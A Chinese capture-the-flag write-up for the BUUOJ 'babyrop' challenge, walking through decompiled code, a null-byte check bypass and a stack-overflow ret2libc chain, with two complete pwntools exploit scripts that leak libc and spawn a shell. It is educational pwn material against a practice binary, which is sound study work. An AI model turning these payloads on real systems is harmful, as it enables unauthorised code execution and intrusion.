• BUUOJ | [OGeek2019]babyrop(ROP、代码审计)


    题目链接

    checksec 检查,没有什么特别的保护机制

    IDA 加载,main() 函数内容如下:

    int __cdecl main()
    {
      int buf; // [esp+4h] [ebp-14h]
      char v2; // [esp+Bh] [ebp-Dh]
      int fd; // [esp+Ch] [ebp-Ch]
    
      sub_80486BB();
      fd = open("/dev/urandom", 0);
      if ( fd > 0 )
        read(fd, &buf, 4u);
      v2 = sub_804871F(buf);
      sub_80487D0(v2);
      return 0;
    }
    

    调用的 sub_80486BB() 函数里有一个 alarm() 闹钟,会阻碍调试,

    在本地 shell 里可以用 sed -i s/alarm/isnan/g ./source 人为替换掉

    fd 是一个文件句柄,打开了一个给定随机值的文件,截断成四字节的 int 赋给 buf 传入 sub_804871F():

    int __cdecl sub_804871F(int a1)
    {
      size_t v1; // eax
      char s; // [esp+Ch] [ebp-4Ch]
      char buf[7]; // [esp+2Ch] [ebp-2Ch]
      unsigned __int8 v5; // [esp+33h] [ebp-25h]
      ssize_t v6; // [esp+4Ch] [ebp-Ch]
    
      memset(&s, 0, 0x20u);
      memset(buf, 0, 0x20u);
      sprintf(&s, "%ld", a1);
      v6 = read(0, buf, 0x20u);
      buf[v6 - 1] = 0;
      v1 = strlen(buf);
      if ( strncmp(buf, &s, v1) )
        exit(0);
      write(1, "Correct
    ", 8u);
      return v5;
    }
    

    sprintf() 将参数 a1 转换成字符串 s,下一行读入字符串 buf,v6 为其长度

    下两行把 buf 最末一个字符去掉了,v1 为其新长度

    接下来的 if 嵌套 strncmp

    真正的溢出点在 sub_80487D0() 内:

    ssize_t __cdecl sub_80487D0(char a1)
    {
      ssize_t result; // eax
      char buf; // [esp+11h] [ebp-E7h]
    
      if ( a1 == 127 )
        result = read(0, &buf, 0xC8u);
      else
        result = read(0, &buf, a1);
      return result;
    }
    

    考虑通过控制参数 a1 为一个较大数(0xff),触发 read() 的栈溢出

    这需要我们在 sub_804871F() 也通过 read() 进行一个溢出

    让 buf 的长度达到 8 就能覆盖掉 return 的变量

    接下来就就是常规的 ret2libc,

    在 sub_80487D0() 通过劫持返回地址到 write() 泄露出某函数(我用的是 read )的 got 表地址

    然后用 LibcSearcher 库进行相应匹配,具体操作请见 exp,

    最后加上偏移得到 system() 和 '/bin/sh' 的真实地址

    重复调用 sub_80487D0(),栈溢出,使程序在返回时调用 system('/bin/sh'),成功 getshell

    代码如下

    from pwn import *
    from LibcSearcher import *
    
    def debug():
    	gdb.attach(io)
    	pause()
    #io = process('./source')
    context.log_level = 'debug'
    io = remote('node3.buuoj.cn', '29318')
    elf = ELF('./source')
    main_addr = 0x08048825
    write_plt = elf.plt['write']
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    
    payload1 = 'x00' + 'xff'*7 # 最后一个 xff 是有效的返回值
    io.sendline(payload1)
    #debug()
    io.recvuntil('Correct
    ')
    payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt) + p32(main_addr) # 按部就班先返回到 main()
    payload2 += p32(1) + p32(read_got) + p32(4) 
    
    io.sendline(payload2)
    # 计算各函数或字符串的真实地址
    read_addr = u32(io.recv(4))
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system') 
    binsh = libc_base + libc.dump('str_bin_sh')
    
    io.sendline(payload1)
    io.recvuntil('Correct
    ')
    payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh)
    io.sendline(payload3)
    io.interactive()
    

    下面的 exp 是在第一次调用 sub_80487D0() 时先部署好第二次调用 sub_80487D0() 的栈结构

    可以比上面的节约一次 io.sendline(payload1) 操作

    编写的时候要对栈结构很清晰

    from pwn import *
    from LibcSearcher import *
    
    def debug():
    	gdb.attach(io)
    	pause()
    io = process('./source')
    context.log_level = 'debug'
    #io = remote('node3.buuoj.cn', '29318')
    elf = ELF('./source')
    main_addr = 0x08048825
    func_addr = 0x080487D0
    write_plt = elf.plt['write']
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    
    payload1 = 'x00' + 'xff'*7 # 最后一个 xff 是有效的返回值
    io.sendline(payload1)
    #debug()
    io.recvuntil('Correct
    ')
    payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt) + p32(func_addr)
    payload2 += p32(1) + p32(read_got) + p32(4)
    payload2 += p32(0xdeadbeef) + 'xff' # 先部署好二次调用 sub_80487D0() 的栈空间
    io.sendline(payload2)
    
    #debug()
    read_addr = u32(io.recv(4))
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system') 
    binsh = libc_base + libc.dump('str_bin_sh')
    
    payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh)
    io.sendline(payload3)
    io.interactive()
    
  • 相关阅读:
    【.NET】网络编程总结
    【C#】修饰符
    【C#】HTTP请求GET,POST
    【C#】事件总结
    【.NET】使用HtmlAgilityPack抓取网页数据
    JAVA开发者最常去的25个英文网站
    java 注解:SuppressWarnings、Deprecated、Override
    android apk如何入门
    网盘推荐
    反射
  • 原文地址:https://www.cnblogs.com/zhwer/p/13380122.html
Copyright © 2020-2023  润新知